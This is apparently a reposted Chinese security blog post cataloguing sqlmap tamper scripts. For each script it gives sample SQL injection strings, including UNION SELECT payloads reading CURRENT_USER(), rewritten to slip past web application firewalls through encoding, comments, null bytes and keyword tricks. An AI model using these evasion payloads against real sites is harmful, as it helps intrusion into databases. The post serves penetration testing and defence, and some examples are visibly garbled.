0x01 start
脚本名:apostrophemask.py
Example: ( "1 AND '1'='1" ) '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
脚本名:equaltolike.py
Example:
* Input: SELECT * FROM users WHERE id=1
* Output : SELECT * FROM users WHERE id LIKE 1
脚本名:space2dash.py
Example: ( '1 AND 9227=9227' ) '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
脚本名:greatest.py
Example: ( '1 AND A > B' ) '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
脚本名:space2hash.py
Example:
* Input: 1 AND 9227=9227
* Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
参考:
http://medousa-rho.com/zcredirect?visitid=dc21fe54-a853-11ec-bb63-0a445ac5cf13&type=js&browserWidth=1590&browserHeight=919&iframeDetected=false
脚本名:apostrophenullencode.py
Example: tamper( "1 AND '1'='1" ) '1 AND %00%271%00%27=%00%271'
脚本名:halfversionedmorekeywords.py
Example:
( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
-
MySQL < 5.1
-
MySQL 4.0.18, 5.0.22
脚本名:space2morehash.py
Example:
* Input: 1 AND 9227=9227
* Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
脚本名:appendnullbyte.py
Example: ( '1 AND 1=1' ) '1 AND 1=1%00'
-
Microsoft Access
脚本名:ifnull2ifisnull.py
Example:
( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)'
-
MySQL 5.0 and 5.5
脚本名:space2mssqlblank.py(mssql)
ASCII table:
脚本名:base64encode.py
脚本名:space2mssqlhash.py
Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL
脚本名:modsecurityversioned.py
Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--'
-
MySQL 5.0
脚本名:space2mysqlblank.py
Example:
* Input: SELECT id FROM users
* Output : SELECT %0Bid%0BFROM%A0users
-
MySQL
-
MySQL 5.1
脚本名:between.py
Example: ( '1 AND A > B--' ) '1 AND A NOT BETWEEN 0 AND B--'
脚本名:space2mysqldash.py
Example: ( '1 AND 9227=9227' ) '1--%0AAND--%0A9227=9227'
脚本名:multiplespaces.py
Example: ( '1 UNION SELECT foobar' ) '1 UNION SELECT foobar'
脚本名:space2plus.py
Example: ( 'SELECT id FROM users' ) 'SELECT+id+FROM+users' Tested against: all
脚本名:bluecoat.py
Example: ( 'SELECT id FROM users where id = 1' ) 'SELECT%09id FROM users where id LIKE 1'
-
MySQL 5.1, SGOS
脚本名:nonrecursivereplacement.py
Example: ( '1 UNION SELECT 2--' ) '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all
脚本名:space2randomblank.py
Example: ( 'SELECT id FROM users' ) 'SELECT%0Did%0DFROM%0Ausers'
脚本名:sp_password.py
Example: ( '1 AND 9227=9227-- ' ) '1 AND 9227=9227-- sp_password' Requirement: * MSSQL
脚本名:chardoubleencode.py
Example:
* Input: SELECT FIELD FROM %20TABLE
* Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
脚本名:unionalltounion.py
脚本名:charencode.py
Example:
* Input: SELECT FIELD FROM %20TABLE
* Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
脚本名:randomcase.py
-
Input: INSERT
-
Output: InsERt
脚本名:unmagicquotes.py
Example:
* Input: 1′ AND 1=1
* Output : 1%bf%27 AND 1=1–%20
脚本名:randomcomments.py
Example:
‘ INSERT ’ becomes ‘ IN //S//ERT’
脚本名:charunicodeencode.py
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
脚本名:securesphere.py
Example: ( '1 AND 1=1' ) "1 AND 1=1 and '0having'='0having'"
脚本名:versionedmorekeywords.py
Example:
* Input: 1 UNION ALL SELECT NULL , NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,115,114,121,58))#
* Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))#
-
MySQL >= 5.1.13
脚本名:space2comment.py
Example:
* Input: SELECT id FROM users
* Output : SELECT //id// FROM /**/users
脚本名:halfversionedmorekeywords.py
Example:
* Input: value’ UNION ALL SELECT CONCAT( CHAR (58,107,112,113,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,97,110,121,58)), NULL , NULL # AND ‘QDWa’= 'QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' QDWa
-
MySQL < 5.1
-
MySQL 4.0.18, 5.0.22
原文链接:https://blog.csdn.net/wswokao/article/details/80884382
【历史文章】:
学习更多技术,关注我:
觉得文章不错给点个‘再看’吧
原文始发于微信公众号(编码安全研究):sqlmap 绕过防火墙的tamper脚本大全
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论